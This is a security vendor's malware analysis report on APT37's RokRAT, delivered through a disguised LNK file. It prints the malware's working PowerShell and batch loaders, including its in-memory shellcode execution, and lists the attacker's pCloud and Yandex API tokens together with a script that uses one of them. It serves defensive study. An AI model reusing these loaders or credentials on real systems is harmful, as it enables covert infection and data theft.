Threat Intelligence

Analysis of RokRAT Malware Leveraging LNK Files

Analysis of RokRAT Malware Leveraging LNK Files

엔키화이트햇
엔키화이트햇

EnkiWhiteHat

2024. 9. 13.

1. Overview

Following Microsoft's move to block macros by default in Office applications and the deprecation of VBScript, there has been a notable increase in attacks leveraging LNK files as an initial compromise vector.

Among these, information regarding RokRAT, a malware executed via LNK files, was identified on Twitter. This report provides an analysis of this malware.

APT, 엔키화이트햇

2. Malware Analysis

2.1. Attack Flow

caption - Attack Flow

2.2. LNK File Analysis

Gate access roster 2024.xlsx.lnk

Attackers typically compress either the LNK file with embedded commands by itself or along with legitimate files, then send it to the target via email. As we were unable to obtain the initial archive, our analysis begins with the malicious LNK file itself.

LNK files allow specifying a target application and arguments for execution. Attackers exploit this by embedding malicious commands, and tricking users into running them. The embedded commands can be inspected via the properties dialog.

Gate access roster 2024

caption - LNK File Properties

Gate access roster 2024

caption - LNK File Properties

The full command embedded in the LNK file can be identified using the LECmd analysis tool.

caption - LECmd Output

tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
    $dirPath = '%temp%'
}
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName;

$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

$pdfPath = $lnkPath.replace('.lnk','.xlsx');
sc $pdfPath $pdfFile -Encoding Byte;
& $pdfPath;

$lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin);
$exeFile = New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath = $env:public + '\' + 'viewer.dat';
sc $exePath $exeFile -Encoding Byte;

$lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:public + '\' + 'search.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;

$lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000139;
$lnkFile.Read($batByte, 0, 0x00000139);
$executePath = $env:public + '\' + 'find.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;

$lnkFile.Close();
remove-item -path $lnkPath -force;
" && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

Upon execution, the LNK file performs the following actions:

  1. Executes *rshell.exe located in C:\Windows\SysWow64\WindowsPowerShell\v1.0\. This, in turn, runs PowerShell.

  1. If the current working directory is System32 or Program Files, the $dirPath variable is set to the temporary directory (%Temp%). Otherwise, $dirPath remains the current working directory.

  1. Recursively searches within the directory specified by $dirPath for an LNK file with a size of 41,951,597 bytes.

  1. Extracts multiple embedded file data from the LNK file found in the previous step and saves them as files. The files created at this stage are listed in the table below.

| File Name and Path                                  | Type                       | Offset    | Size      |
| --------------------------------------------------- | -------------------------- | --------- | --------- |
| [LNK File Directory]\Gate access roster 2024.xlsx | Spreadsheet (Decoy File)   | 0x010a4 | 0x02e32 |
| %public%\viewer.dat                               | Shellcode                  | 0x03ed6 | 0xd9402 |
| %public%\search.dat                               | PowerShell Script (Loader) | 0xdd2d8 | 0x005aa |
| %public%\find.bat                                 | Batch File (Loader)        | 0xdd882 | 0x00139

  1. Following extraction, the decoy spreadsheet Gate access roster 2024.xlsx is opened, and find.bat is executed. The LNK file then deletes itself.

guest, vistor access roster

caption - Gate access roster 2024.xlsx Run Results

2.3. PowerShell Script Analysis

The find.bat and search.dat files are created and executed by the LNK file.

find.bat

The find.bat script constructs a PowerShell ScriptBlock from search.dat's contents, and then invokes it.

start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden "
$stringPath=$env:public+'\\'+'search.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
"

search.dat

The search.dat file reads viewer.dat, loads it into memory, and creates a new thread to execute the loaded code. The viewer.dat file is shellcode.

$exePath = $env:public + '\' + 'viewer.dat';
$exeFile = Get-Content -path $exePath -encoding byte;

[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);

$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);

$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru;

$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;

$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;

$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;

$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;

$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);

for ($i = 0; $i -lt $byteCount; $i++) {
    [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]);
}

$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);

2.4. Shellcode Analysis

The shellcode decrypts the encrypted RokRAT payload and then executes it in memory. It resolves API functions by looking up their addresses based on provided API hash values and then calls them.

API Resolving 의사 코드

caption - Dynamic Import Code

The encrypted RokRAT payload is embedded within the shellcode. It is decrypted using an XOR operation and then executed in memory.

RokRAT 복호화 루틴 의사 코드

caption - RokRAT Decryption Code

A script to decrypt the RokRAT payload is provided below.

from idaapi import *

ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)

result = bytes(key ^ data for data in get_bytes(ea + 5, size))

with open("RokRAT", "wb") as f:
    f.write(result)ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)

2.5. RokRAT Analysis

RokRAT uses the cloud services pCloud, DropBox, and Yandex for C&C. It uploads collected victim system information to these cloud services and receives data containing command codes through them.

Before creating the main thread that performs its primary functions, RokRAT first collects information from the infected system.

RokRAT 감염 시스템 정보 수집 루틴

caption - RokRAT Victim System Information Collection Code

Key information collected includes:

  • Windows Build Version

  • Windows Bitness

  • Computer Name

  • Username

  • Current Process Path

  • System Product

  • VMware Tools Version (if present)

  • System BIOS Version

Intertwined with information collection, RokRAT uses RNGs to generate values used to communicate through the cloud services.

| Variable Name               | Purpose                                                 | Generation Method                             |
| --------------------------- | ------------------------------------------------------- | --------------------------------------------- |
| additional_data           | Data appended to the uploaded file                      | srand(time()) + rand()                    |
| Cloud_FileData_FileName   | Filename for download or deletion on the cloud service  | srand(time()) + rand() + GetTickCount() |
| Cloud_Recv_Data_FileName  | Filename on cloud service for receiving command data    | srand(time()) + rand() + GetTickCount() |
| Recv_FileData_Decrypt_Key | Decryption key for additional malware data/payload      | CryptoPP::AutoSeededRandomPool              |
| Recv_Data_Decrypt_Key     | Decryption key for data received from the cloud service | CryptoPP::

caption - Data Generation Code for Communication

The malware incorporates two string decryption functions. Both functions use the first byte of the encrypted data as the key. The difference is that one function additionally subtracts 2048 from an intermediate value during decryption.

A script to print the decrypted results of all encrypted strings is provided below.

from idaapi import *
from idautils import *
from idc import *
from ida_segment import get_segm_by_name
import re

def get_ins(ea):
   return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)]

def find_sp(ea):
    t_ea = ea
    while True:
        ins = get_ins(ea)
        if ins[0] == "lea" and ins[1] == "ecx":
            if "ebp" in ins[2]:
                sp_flag = 1
            elif "esp" in ins[2]:
                sp_flag = 2
            sp = ins[2]
            break
            
        ea = prev_head(ea)
        
    ea = t_ea
    while True:
        ins = get_ins(ea)
        if sp in ins[1]:
            return ea, sp, sp_flag
            
        ea = prev_head(ea)

def parsing_word_data(data):
    data = data.replace("h", "")
    return [data[3:], data[:3]]

def get_values(ea, sp, sp_flag):
    result = []
    if sp_flag == 1:
        pattern = r"\[ebp-(\w+)\]"
        while True:
            ins = get_ins(ea)
            if ins[0] == "mov" and "[ebp" in ins[1]:
                op_offset(ea, 0, 1)
                match = re.search(pattern, print_operand(ea, 0))
                if len(match.group(1)) == 1 or len(ins[2]) == 4:
                    result.append(ins[2].replace("h", ""))
                    op_offset(ea, 0, 0)
                    return result
                elif ins[2] == "ax":
                    op_offset(ea, 0, 0)
                    return result
                else:
                    result += parsing_word_data(ins[2])
                        
                op_offset(ea, 0, 0)
                            
            ea = next_head(ea)
    elif sp_flag == 2:
        pattern = r"\b(?:esp\+(\w+))h\b"
        while True:
            ins = get_ins(ea)
            if ins[0] == "mov" and "[esp" in ins[1]:
                op_offset(ea, 0, 1)
                match = re.search(pattern, print_operand(ea, 0))
                if len(match.group(1)) == 1 or len(ins[2]) == 4:
                    result.append(ins[2].replace("h", ""))
                    op_offset(ea, 0, 0)
                    return result
                elif ins[2] == "ax":
                    op_offset(ea, 0, 0)
                    return result
                else:
                    result += parsing_word_data(ins[2])
                        
                op_offset(ea, 0, 0)
                            
            ea = next_head(ea)

def parsing_encrypt_data(ea, d_flag):
    ea, sp, sp_flag = find_sp(ea)
    ret = get_values(ea, sp, sp_flag)
    result = ""
    if d_flag == 1:
        for i in range(len(ret) - 1):
            result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff)
    elif d_flag == 2:
        for i in range(len(ret) - 1):
            result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff)
    
    print (hex(ea), result)

segm = get_segm_by_name(".text")
ea = segm.start_ea
end_ea = segm.end_ea

while True:
    if ea >= end_ea:
        break
    else:
        if "sub_40E716" in GetDisasm(ea):
            parsing_encrypt_data(ea, 1)
        elif "sub_40E6D3" in GetDisasm(ea):
            parsing_encrypt_data(ea, 2)
            
    ea = next_head(ea)
복호화 스크립트 실행 결과

caption - Decryption Script Execution Results

Once victim system information collection is complete, a thread is created to communicate with cloud services and perform malicious activities.

메인 함수 의사 코드

caption - Main Function Pseudocode

The cloud services used for communication are pCloud and Yandex. pCloud is used as the primary C&C, while Yandex serves as a fallback. Although DropBox-related code is present, it is unused.

| Cloud Service | Identifier | Token                                                           |
| ------------- | ---------- | --------------------------------------------------------------- |
| Local System  | 1          | N/A                                                             |
| DropBox       | 3          | N/A                                                             |
| pCloud        | 4          | `Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX`         |
| Yandex        | 5          | `y0_AgAAAABY8OQvAAtZEQAAAAD8QmGOAAD5hI5Y1ctIoLSK7mJq9l4_CF5LRg`

Cloud service tags and token information are hardcoded, as shown in the table below:

caption - pCloud Token Information

caption - Yandex Token Information

Data prepared for exfiltration to the C&C server, including collected system information, is constructed as follows:

  1. Append 4 bytes of hardcoded data from the malware.

  2. Append collected victim system information.

  3. Append delimiter (0x28).

  4. Append screenshot.

  5. Append delimiter (0x2a).

  6. Append the length of process list information.

  7. Append the list of running processes.

caption - Data Generation Routine for Cloud Service Transmission

The final data structure is as follows.

This data is then encrypted before upload.

First, it is XOR encrypted using a randomly generated 4-byte key. Since the first 4 bytes of the data being encrypted are known to the attacker during malware creation, the attacker can deduce this 4-byte key through reverse operations.

caption - Encryption and Upload Code

Second, the data is encrypted with AES-128-CBC. The key and IV used for this encryption are initialized by the following code.

caption - AES Key and IV Initialization Code

The AES key is encrypted using an RSA public key and uploaded to the cloud service along with the victim system information. The RSA public key is BER-encoded and embedded in the malware.

caption - BER-Encoded Data Containing the RSA Public Key

Data received from the cloud service is decrypted using AES-128-CBC. The actions performed depend on the command code received, as detailed below:

| Command Code  | Action                                                                                                                                                                                                                         |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| i           | Terminate data upload.                                                                                                                                                                                                         |
| j, b      | Terminate process.                                                                                                                                                                                                             |
| d           | Delete attack-related files and Terminate process: <br> - Delete files with vbs, lnk extensions in the Startup folder. <br> - Delete files with CMD, BAT, 01 extensions in the AppData path.                                      |
| f           | Delete attack-related files and Terminate process: <br> - Delete files with CMD, BAT, 01 extensions in the AppData path.                                                                                                      |
| g           | No action.                                                                                                                                                                                                                     |
| h           | Collect and transmit drive information.                                                                                                                                                                                        |
| 0           | Activate data collection upload flag.                                                                                                                                                                                          |
| 1 2      | Execute file data in a new thread. <br> - The URL from the command structure is used <br> - Execute info-gathering commands <br> - Save results to %Temp%\r.txt, and upload to C&C.                                               |
| 3, 4      | Initialize cloud service API. <br> - The token from the command structure is used <br> - Execute file data from C&C in a new thread. <br> Execute info-gathering commands <br> - Save results to %Temp%\r.txt, and upload to C&C. |
| 5, 6      | Download URL to %Temp%\KB400928_doc.exe and execute.                                                                                                                                                                         |
| 7, 8, 9 | Initialize cloud service API.<br> - The token from the command structure is used <br>

3. Conclusion

This report detailed APT37's use of LNK files as an initial compromise vector and the inner workings and key characteristics of the RokRAT malware. RokRAT employs the Living Off Trusted Sites (LOTS) technique, abusing the legitimate services pCloud, Yandex, and DropBox for its attacks, thereby enabling malicious activities without the need to establish separate infrastructure. In response to such abuse, pCloud, for instance, has implemented measures to block abuse through a strict screening process before issuing API tokens.
We hope this report serves as a valuable resource in understanding and countering the ever-evolving landscape of cyber attacks.

4. Appendix

4.1. Analysis Scripts

LNK Embedded File Dumper

def get_data(file_path, offset, length):
    with open(file_path, 'rb') as file:
        file.seek(offset)
        return file.read(length)

def create_file(file_path, data):
    with open(file_path, 'wb') as file:
        file.write(data)

lnk = "Gate access roster 2024.xlsx.lnk"

pdf_data = get_data(lnk, 0x10A4, 0x2E32)
viewer_data = get_data(lnk, 0x3ED6, 0xD9402)
search_data = get_data(lnk, 0xDD2D8, 0x5AA)
bat_data = get_data(lnk, 0xDD882, 0x139)

create_file("Gate access roster 2024.xlsx", pdf_data)
create_file("viewer.dat", viewer_data)
create_file("search.dat", search_data)
create_file("find.bat", bat_data)

API Hashing Script

def ror(value, shift, size=32):
    shift %= size
    return ((value >> shift) | (value << (size - shift))) & ((1 << size) - 1)

def get_function_hash(dll_name, func_name):
    key = 0
    for char in dll_name:
        key = ((key + (char & ~0x20)) << 19) & 0xffffffff | ((key + (char & ~0x20)) >> 13) & 0xffffffff

    hash_value = 0
    for char in func_name:
        hash_value = ror(hash_value + char, 13)

    return hex(hash_value ^ key)

dll_name = b"ntdll.dll"
func_name = b"RtlFillMemory"
print(get_function_hash(dll_name, func_name))

pCloud File Download Script

import requests
import json
import sys
import os

DOWNLOAD_PATH = "contents"
METADATA_PATH = "metadata"

def get_trash(token):
    url = "https://api.pcloud.com/trash_list"
    res = requests.post(url, data = {"access_token":token, "path":"/"})
    return res.json()

def get_user_info(token):
    url = "https://api.pcloud.com/userinfo"
    res = requests.post(url, data = {"access_token":token})
    return res.json()

def get_directory_list(token, path):
    result = []
    url = "https://api.pcloud.com/listfolder"
    res = requests.post(url, data = {"access_token":token, "path":path})

    for i in res.json()["metadata"]["contents"]:
        if i["isfolder"]:
            if not os.path.isdir(DOWNLOAD_PATH + i["path"]):
                os.mkdir(DOWNLOAD_PATH + i["path"])

            result += get_directory_list(token, i["path"])
        else:
            result.append(i)

    return result

def download_file(token, path):
    res = requests.post(f"https://api.pcloud.com/getfilelink?path={path}&forcedownload=1&skipfilename=1", data={"access_token":token})
    file_link = res.json()["path"]
    host = res.json()["hosts"][0]
    url = host+file_link
    
    if os.path.isfile(DOWNLOAD_PATH + path):
        return
    try:
        res = requests.get("https://" + url)
    except:
        try:
            res = requests.get("http://" + url)
        except:
            return False
    
    return res.content
                                                                                                
if __name__ == "__main__":
    real_token = "Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX"

    token = real_token

    user_info = get_user_info(token)

    if "error" in user_info:
        sys.exit(user_info["error"])    
    else:
        base_dir = f"./{token}"
        if not os.path.isdir(base_dir):
            os.mkdir(base_dir)
        
        with open(f"{base_dir}/userinfo.json", "w") as f:
            json.dump(user_info, f)

        DOWNLOAD_PATH = os.path.join(base_dir, DOWNLOAD_PATH)
        METADATA_PATH = os.path.join(base_dir, METADATA_PATH)
        
        if not os.path.isdir(DOWNLOAD_PATH):
            os.mkdir(DOWNLOAD_PATH)
        if not os.path.isdir(METADATA_PATH):
            os.mkdir(METADATA_PATH)

        files = get_directory_list(token, "/")
        for i in files:
            mp = i["path"].replace("/", "_")
            with open(f"{METADATA_PATH}/{mp}.json", "w") as jf:
                json.dump(i, jf)

            content = download_file(token, i["path"])
            if content:
                with open(DOWNLOAD_PATH + i["path"], "wb") as f:
                    f.write(content)

aes key, iv initialization

random_data = []

key = []
iv = []

for i in range(16):
    key.append(((4 * (i + 9)) | 0x4e) & 0xff)
    iv.append(((8 * (i - 15)) | 0x1c) & 0xff) 

iv_xor_key = [0x2, 0x4, 0x6, 0xe, 0x6, 0x7, 0x8, 0x98, 0x68, 0x83, 0x78, 0xae, 0x3a, 0x4b, 0x8a, 0x6a]

for i in range(16):
 key[i] ^= random_data[::-1][i]

for i in range(16):
 iv[0] ^= iv_xor_key[i]
 
print (key, iv)

4.2. Analyzed Structures

RokRAT System Information Structure

struct get_info
{
  int TickCount;
  wchar_t additional_data[8];
  int pad_0;
  char version[32];
  wchar_t wow64_flag[1];
  wchar_t ComputerName[64];
  wchar_t UserName[64];
  wchar_t FileName[256];
  char SMBiosData[128];
  char Debugging_flag;
  char CreateDatFile_flag;
  char vmtoolsInfo[40];
  char SystemBiosVersion[40];
  char pad_1_disable[100];
  char pad_2;
  char Recv_FileData_Decrypt_Key[32];
  wchar_t rand_value_1[16];
  int pad_3;
  __int16 pad_4;
  wchar_t Cloud_Recv_Data_FileName[16];
  int pad_5;
  __int16 pad_6;
  char Recv_Data_Decrypt_Key[32];
  __int16 pad7

4.3. IOC

c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686 (Gate access roster 2024.xlsx.lnk)

- dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07 ((Gate access roster 2024.xlsx)

- 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f (search.dat)

- cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b (find.bat)

- 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27 (viewer.dat)

- 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6 (RokRAT)

0a501fd9d043b043de9083d03870b9c9ddb4f18a89366bc2ca413f835709415c

- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126

- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad

- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3

- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6

- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282

23549c774f56aae77115b456bdcad6c81fb82a0936841da0e056c922db83d342

- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126

- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad

- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3

- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6

- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282

b02329000ae4f8f4238db366d8fe394867dcad8222d02d9a76e82a376c6b1405

- 9646372af573fb90a7f3665386629cc3b08ee44fb5d294f479c931ad7300bb31

- e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5

- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3

- dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc

- 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0

b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56

- 81269c3c41d957765314a1704e0ea6cdf9666eab729597207fd1cc844c749beb

- e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5

- 4ec203d22097e29d83a6425e523cfb3e26ff5b39454585f78a627f2f0fb658f8

- dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc

- 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0

c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686

- dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07

- 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f

- cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b

- 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27

- 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6

cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13

- 14e507f2160b415d8aae1bbe4e5fbcf0a10563a72bb53b7d8a9fc339518bc668

- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad

- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3

- f3d98b1638dbe6fd0f97ae3b1d2c9d5c0f592baa1317c862042e5201a1e14aed

- 4f5d8bb87b68b943c1e4f05c12a8c0836dc7744bc4e7868c6189cbd5881c2d79

dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6

- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126

- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad

- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3

- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6

- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282

e914f39c7800f87e99ca4821c7a6d4ac580d99b5d70bea54d17c2b6e862b2de6

- 00f45a18a4ca30f2de40c213186bd9e9e1202f24c844cbcae29ae01d93cbae93

- faa8312eb5dfaafae9be18b4470990e6e0ff4911c862e33879196ed233d18745

- 92bad80b08407755da14760de5703dcd7a88703ffca7443f18fd94d853b08056

- cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13

엔키화이트햇
엔키화이트햇

EnkiWhiteHat

EnkiWhiteHat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before
a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.